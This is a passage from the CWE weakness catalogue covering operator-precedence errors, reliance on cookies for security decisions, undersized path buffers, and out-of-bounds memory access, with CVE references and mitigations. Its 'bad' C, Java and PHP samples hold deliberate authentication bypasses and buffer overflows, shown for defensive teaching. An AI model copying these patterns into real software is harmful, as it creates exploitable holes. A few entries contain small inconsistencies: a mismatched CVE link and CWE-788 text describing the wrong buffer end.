Confidentiality Integrity Availability	Varies by Context Unexpected State *The consequences will vary based on the context surrounding the incorrect precedence. In a security decision, integrity or confidentiality are the most likely results. Otherwise, a crash may occur due to the software reaching an unexpected state.*	

Potential Mitigations

Phase: Implementation

Regularly wrap sub-expressions in parentheses, especially in security-critical code.

Demonstrative Examples

Example 1:

In the following example, the method validateUser makes a call to another method to authenticate a username and password for a user and returns a success or failure code.

Example Language: C *(bad)*

```
#define FAIL 0
#define SUCCESS 1
...
int validateUser(char *username, char *password) {
    int isUser = FAIL;
    // call method to authenticate username and password
    // if authentication fails then return failure otherwise return success
    if (isUser = AuthenticateUser(username, password) == FAIL) {
        return isUser;
    }
    else {
        isUser = SUCCESS;
```

```
    }
    return isUser;
}
```

However, the method that authenticates the username and password is called within an if statement with incorrect operator precedence logic. Because the comparison operator "==" has a higher precedence than the assignment operator "=", the comparison operator will be evaluated first and if the method returns FAIL then the comparison will be true, the return variable will be set to true and SUCCESS will be returned. This operator precedence logic error can be easily resolved by properly using parentheses within the expression of the if statement, as shown below.

Example Language: C *(good)*

```
...
if ((isUser = AuthenticateUser(username, password)) == FAIL) {
...
```

Example 2:

In this example, the method calculates the return on investment for an accounting/financial application. The return on investment is calculated by subtracting the initial investment costs from the current value and then dividing by the initial investment costs.

Example Language: Java *(bad)*

```
public double calculateReturnOnInvestment(double currentValue, double initialInvestment) {
    double returnROI = 0.0;
    // calculate return on investment
    returnROI = currentValue - initialInvestment / initialInvestment;
    return returnROI;
}
```

However, the return on investment calculation will not produce correct results because of the incorrect operator precedence logic in the equation. The divide operator has a higher precedence than the minus operator, therefore the equation will divide the initial investment costs by the initial investment costs which will only subtract one from the current value. Again this operator precedence logic error can be resolved by the correct use of parentheses within the equation, as shown below.

Example Language: Java *(good)*

```
...
returnROI = (currentValue - initialInvestment) / initialInvestment;
...
```

Note that the initialInvestment variable in this example should be validated to ensure that it is greater than zero to avoid a potential divide by zero error (CWE-369).

Observed Examples

Reference	Description
CVE-2008-2516	Authentication module allows authentication bypass because it uses "(x = call(args) == SUCCESS)" instead of "((x = call(args)) == SUCCESS)". *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2516*
CVE-2008-0599	Chain: Language interpreter calculates wrong buffer size (CWE-131) by using "size = ptr ? X : Y" instead of "size = (ptr ? X : Y)" expression. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0599*
CVE-2001-1155	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1155

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	737	CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)	734	1882
MemberOf	V	884	CWE Cross-section	884	2037

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP00-C	Exact	Use parentheses for precedence of operation
SEI CERT Perl Coding Standard	EXP04-PL	CWE More Abstract	Do not mix the early-precedence logical operators with late-precedence logical operators

References

[REF-704]CERT. "EXP00-C. Use parentheses for precedence of operation". < https://www.securecoding.cert.org/confluence/display/seccode/EXP00-C.+Use+parentheses+for+precedence+of+operation >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision

Weakness ID : 784 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The application uses a protection mechanism that relies on the existence or values of a cookie, but it does not properly ensure that the cookie is valid for the associated user.

Extended Description

Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Attackers can bypass protection mechanisms such as authorization and authentication by modifying the cookie to contain an expected value.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	807	Reliance on Untrusted Inputs in a Security Decision	1507
ChildOf	B	565	Reliance on Cookies without Validation and Integrity Checking	1140

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	1967

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Often)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *It is dangerous to use cookies to set a user's privileges. The cookie can be manipulated to claim a high level of authorization, or to claim that successful authentication has occurred.*	

Potential Mitigations

Phase: Architecture and Design

Avoid using cookie data for a security-related decision.

Phase: Implementation

Perform thorough input validation (i.e.: server side validation) on the cookie data if you're going to use it for a security related decision.

Phase: Architecture and Design

Add integrity checks to detect tampering.

Phase: Architecture and Design

Protect critical cookies from replay attacks, since cross-site scripting or other attacks may allow attackers to steal a strongly-encrypted cookie that also passes integrity checks. This mitigation applies to cookies that should only be valid during a single transaction or session. By enforcing timeouts, you may limit the scope of an attack. As part of your integrity check, use an unpredictable, server-side value that is not exposed to the client.

Demonstrative Examples

Example 1:

The following code excerpt reads a value from a browser cookie to determine the role of the user.

Example Language: Java *(bad)*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("role")) {
        userRole = c.getValue();
    }
}
```

Example 2:

The following code could be for a medical records application. It performs authentication by checking if a cookie has been set.

Example Language: PHP *(bad)*

```
$auth = $_COOKIES['authenticated'];
if (! $auth) {
    if (AuthenticateUser($_POST['user'], $_POST['password']) == "success") {
        // save the cookie to send out in future responses
        setcookie("authenticated", "1", time()+60*60*2);
    }
    else {
        ShowLoginScreen();
        die("\n");
    }
}
DisplayMedicalHistory($_POST['patient_ID']);
```

The programmer expects that the AuthenticateUser() check will always be applied, and the "authenticated" cookie will only be set when authentication succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie.

However, the attacker can set the "authenticated" cookie to a non-zero value such as 1. As a result, the $auth variable is 1, and the AuthenticateUser() check is not even performed. The attacker has bypassed the authentication.

Example 3:

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

Example Language: Java *(bad)*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
        authenticated = true;
    }
}
```

Observed Examples

Reference	Description
CVE-2009-1549	Attacker can bypass authentication by setting a cookie to a specific value. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1549*
CVE-2009-1619	Attacker can bypass authentication and gain admin privileges by setting an "admin" cookie to 1. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1619*
CVE-2009-0864	Content management system allows admin privileges by setting a "login" cookie to "OK." *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0864*
CVE-2008-5784	e-dating application allows admin privileges by setting the admin cookie to 1. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5784*
CVE-2008-6291	Web-based email list manager allows attackers to gain admin privileges by setting a login cookie to "admin." *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6291*

Notes

Maintenance

A new parent might need to be defined for this entry. This entry is specific to cookies, which reflects the significant number of vulnerabilities being reported for cookie-based authentication in CVE during 2008 and 2009. However, other types of inputs - such as parameters or headers -

could also be used for similar authentication or authorization. Similar issues (under the Research view) include CWE-247 and CWE-472.

References

[REF-706]Steve Christey. "Unforgivable Vulnerabilities". 2007 August 2. < http://cve.mitre.org/docs/docs-2007/unforgivable.pdf >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer

Weakness ID : 785 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software invokes a function for normalizing paths or file names, but it provides an output buffer that is smaller than the maximum possible size, such as PATH_MAX.

Extended Description

Passing an inadequately-sized output buffer to a path manipulation function can result in a buffer overflow. Such functions include realpath(), readlink(), PathAppend(), and others.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	280
ChildOf	B	676	Use of Potentially Dangerous Function	1317

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Background Details

Windows provides a large number of utility functions that manipulate buffers containing filenames. In most cases, the result is returned in a buffer that is passed in as input. (Usually the filename is modified in place.) Most functions require the buffer to be at least MAX_PATH bytes in length, but you should check the documentation for each function individually. If the buffer is not large enough to store the result of the manipulation, a buffer overflow can occur.

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	

Scope	Impact	Likelihood
Confidentiality	Execute Unauthorized Code or Commands	
Availability	DoS: Crash, Exit, or Restart	

Potential Mitigations

Phase: Implementation

Always specify output buffers large enough to handle the maximum-size possible result from path manipulation functions.

Demonstrative Examples

Example 1:

In this example the function creates a directory named "output\<name>" in the current directory and returns a heap-allocated copy of its name.

Example Language: C *(bad)*

```
char *createOutputDirectory(char *name) {
    char outputDirectoryName[128];
    if (getCurrentDirectory(128, outputDirectoryName) == 0) {
        return null;
    }
    if (!PathAppend(outputDirectoryName, "output")) {
        return null;
    }
    if (!PathAppend(outputDirectoryName, name)) {
        return null;
    }
    if (SHCreateDirectoryEx(NULL, outputDirectoryName, NULL) != ERROR_SUCCESS) {
        return null;
    }
    return StrDup(outputDirectoryName);
}
```

For most values of the current directory and the name parameter, this function will work properly. However, if the name parameter is particularly long, then the second call to PathAppend() could overflow the outputDirectoryName buffer, which is smaller than MAX_PATH bytes.

Affected Resources

- Memory
- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	972	SFP Secondary Cluster: Faulty String Expansion	888	1945

Notes

Maintenance

Much of this entry was originally part of CWE-249, which was deprecated for several reasons.

Maintenance

This entry is at a much lower level of abstraction than most entries because it is function-specific. It also has significant overlap with other entries that can vary depending on the perspective. For example, incorrect usage could trigger either a stack-based overflow (CWE-121) or a heap-based overflow (CWE-122). The CWE team has not decided how to handle such entries.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Often Misused: File System
Software Fault Patterns	SFP9		Faulty String Expansion

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-786: Access of Memory Location Before Start of Buffer

Weakness ID : 786 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software reads or writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.

Extended Description

This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271
ParentOf	B	124	Buffer Underwrite ('Buffer Underflow')	298
ParentOf	V	127	Buffer Under-read	308

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1218	Memory Buffer Errors	2016

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory *For an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.*	
Integrity Availability	Modify Memory DoS: Crash, Exit, or Restart	

Scope	Impact	Likelihood
	Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash.	
Integrity	Modify Memory Execute Unauthorized Code or Commands *If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code. If the corrupted memory is data rather than instructions, the system will continue to function with improper changes, possibly in violation of an implicit or explicit policy.*	

Demonstrative Examples

Example 1:

In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

Example Language: C *(bad)*

```
char* trimTrailingWhitespace(char *strMessage, int length) {
    char *retMessage;
    char *message = malloc(sizeof(char)*(length+1));
    // copy input string to a temporary string
    char message[length+1];
    int index;
    for (index = 0; index < length; index++) {
        message[index] = strMessage[index];
    }
    message[index] = '\0';
    // trim trailing whitespace
    int len = index-1;
    while (isspace(message[len])) {
        message[len] = '\0';
        len--;
    }
    // return string without trailing whitespace
    retMessage = message;
    return retMessage;
}
```

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer.

Example 2:

The following example asks a user for an offset into an array to select an item.

Example Language: C *(bad)*

```
int main (int argc, char **argv) {
    char *items[] = {"boat", "car", "truck", "train"};
    int index = GetUntrustedOffset();
    printf("You selected %s\n", items[index-1]);
}
```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

Example 3:

The following is an example of code that may result in a buffer underwrite, if find() returns a negative value to indicate that ch is not found in srcBuf:

Example Language: C *(bad)*

```
int main() {
  ...
  strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024);
  ...
}
```

If the index to srcBuf is somehow under user control, this is an arbitrary write-what-where condition.

Observed Examples

Reference	Description
CVE-2002-2227	Unchecked length of SSLv2 challenge value leads to buffer underflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2227*
CVE-2007-4580	Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4580*
CVE-2007-1584	Buffer underflow from an all-whitespace string, which causes a counter to be decremented before the buffer while looking for a non-whitespace character. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1584*
CVE-2007-0886	Buffer underflow resultant from encoded data that triggers an integer overflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0886*
CVE-2006-6171	Product sets an incorrect buffer size limit, leading to "off-by-two" buffer underflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6171*
CVE-2006-4024	Negative value is used in a memcpy() operation, leading to buffer underflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4024*
CVE-2004-2620	Buffer underflow due to mishandled special characters *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2620*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1154	1997

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	ARR30-C	CWE More Specific	Do not form or use out-of-bounds pointers or array subscripts

CWE-787: Out-of-bounds Write

Weakness ID : 787 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software writes data past the end, or before the beginning, of the intended buffer.

Extended Description

Typically, this can result in corruption of data, a crash, or code execution. The software may modify an index or perform pointer arithmetic that references a memory location that is outside of the boundaries of the buffer. A subsequent write operation then produces undefined or unexpected results.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271
ParentOf	V	121	Stack-based Buffer Overflow	289
ParentOf	V	122	Heap-based Buffer Overflow	293
ParentOf	B	123	Write-what-where Condition	296
ParentOf	B	124	Buffer Underwrite ('Buffer Underflow')	298
CanFollow	B	822	Untrusted Pointer Dereference	1515
CanFollow	B	823	Use of Out-of-range Pointer Offset	1518
CanFollow	B	824	Access of Uninitialized Pointer	1520
CanFollow	B	825	Expired Pointer Dereference	1523

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1218	Memory Buffer Errors	2016

Applicable Platforms

Language : C *(Prevalence = Often)*

Language : C++ *(Prevalence = Often)*

Language : Assembly *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Availability	Modify Memory DoS: Crash, Exit, or Restart Execute Unauthorized Code or Commands	

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness = High

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer. Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness = Defense in Depth

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory: Double check that your buffer is as large as you specify. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated

space. If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Operation

Strategy = Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

Effectiveness = Defense in Depth

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy = Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61].

Effectiveness = Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness = Moderate

This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

Demonstrative Examples

Example 1:

The following code attempts to save four different identification numbers into an array.

Example Language: C *(bad)*

```
int id_sequence[3];
/* Populate the id array. */
id_sequence[0] = 123;
id_sequence[1] = 234;
id_sequence[2] = 345;
id_sequence[3] = 456;
```

Example 2:

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

Example Language: C *(bad)*

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
    * else, return -1 to indicate an error
```

```
    */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C *(bad)*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 4:

This example applies an encoding procedure to an input string and stores it into a buffer.

Example Language: C *(bad)*

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++ ){
        if( '&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
        else if ('<' == user_supplied_string[i] ){
            /* encode to &lt; */
        }
```

```
        else dst_buf[dst_index++] = user_supplied_string[i];
    }
    return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 5:

In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

Example Language: C *(bad)*

```
char* trimTrailingWhitespace(char *strMessage, int length) {
    char *retMessage;
    char *message = malloc(sizeof(char)*(length+1));
    // copy input string to a temporary string
    char message[length+1];
    int index;
    for (index = 0; index < length; index++) {
        message[index] = strMessage[index];
    }
    message[index] = '\0';
    // trim trailing whitespace
    int len = index-1;
    while (isspace(message[len])) {
        message[len] = '\0';
        len--;
    }
    // return string without trailing whitespace
    retMessage = message;
    return retMessage;
}
```

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer.

Example 6:

The following is an example of code that may result in a buffer underwrite, if find() returns a negative value to indicate that ch is not found in srcBuf:

Example Language: C *(bad)*

```
int main() {
    ...
    strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024);
    ...
}
```

If the index to srcBuf is somehow under user control, this is an arbitrary write-what-where condition.

Observed Examples

Reference	Description
CVE-2020-0022	chain: mobile phone Bluetooth implementation does not include offset when calculating packet length (CWE-682), leading to out-of-bounds write (CWE-787) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1363*
CVE-2019-1010006	Chain: compiler optimization (CWE-733) removes or modifies code used to detect integer overflow (CWE-190), allowing out-of-bounds write (CWE-787). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1010006*
CVE-2002-2227	Unchecked length of SSLv2 challenge value leads to buffer underflow. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2227*
CVE-2007-4580	Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130) *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4580*
CVE-2007-4268	Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4268*
CVE-2009-2550	Classic stack-based buffer overflow in media player using a long entry in a playlist *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2550*
CVE-2009-2403	Heap-based buffer overflow in media player using a long entry in a playlist *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2403*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

References

[REF-1029]Aleph One. "Smashing The Stack For Fun And Profit". 1996 November 8. < http://phrack.org/issues/49/14.html >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-90]"Buffer UNDERFLOWS: What do you know about it?". Vuln-Dev Mailing List. 2004 January 0. < http://seclists.org/vuln-dev/2004/Jan/0022.html >.

[REF-56]Microsoft. "Using the Strsafe.h Functions". < http://msdn.microsoft.com/en-us/library/ms647466.aspx >.

[REF-57]Matt Messier and John Viega. "Safe C String Library v1.0.3". < http://www.zork.org/safestr/ >.

[REF-58]Michael Howard. "Address Space Layout Randomization in Windows Vista". < http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx >.

[REF-60]"PaX". < http://en.wikipedia.org/wiki/PaX >.

[REF-61]Microsoft. "Understanding DEP as a mitigation technology part 1". < http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx >.

[REF-64]Grant Murphy. "Position Independent Executables (PIE)". 2012 November 8. Red Hat. < https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/ >.

CWE-788: Access of Memory Location After End of Buffer

Weakness ID : 788 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software reads or writes to a buffer using an index or pointer that references a memory location after the end of the buffer.

Extended Description

This typically occurs when a pointer or its index is decremented to a position before the buffer; when pointer arithmetic results in a position before the buffer; or when a negative index is used, which generates a position before the buffer.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271
ParentOf	V	121	Stack-based Buffer Overflow	289
ParentOf	V	122	Heap-based Buffer Overflow	293
ParentOf	V	126	Buffer Over-read	305

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1218	Memory Buffer Errors	2016

Common Consequences

Scope	Impact	Likelihood
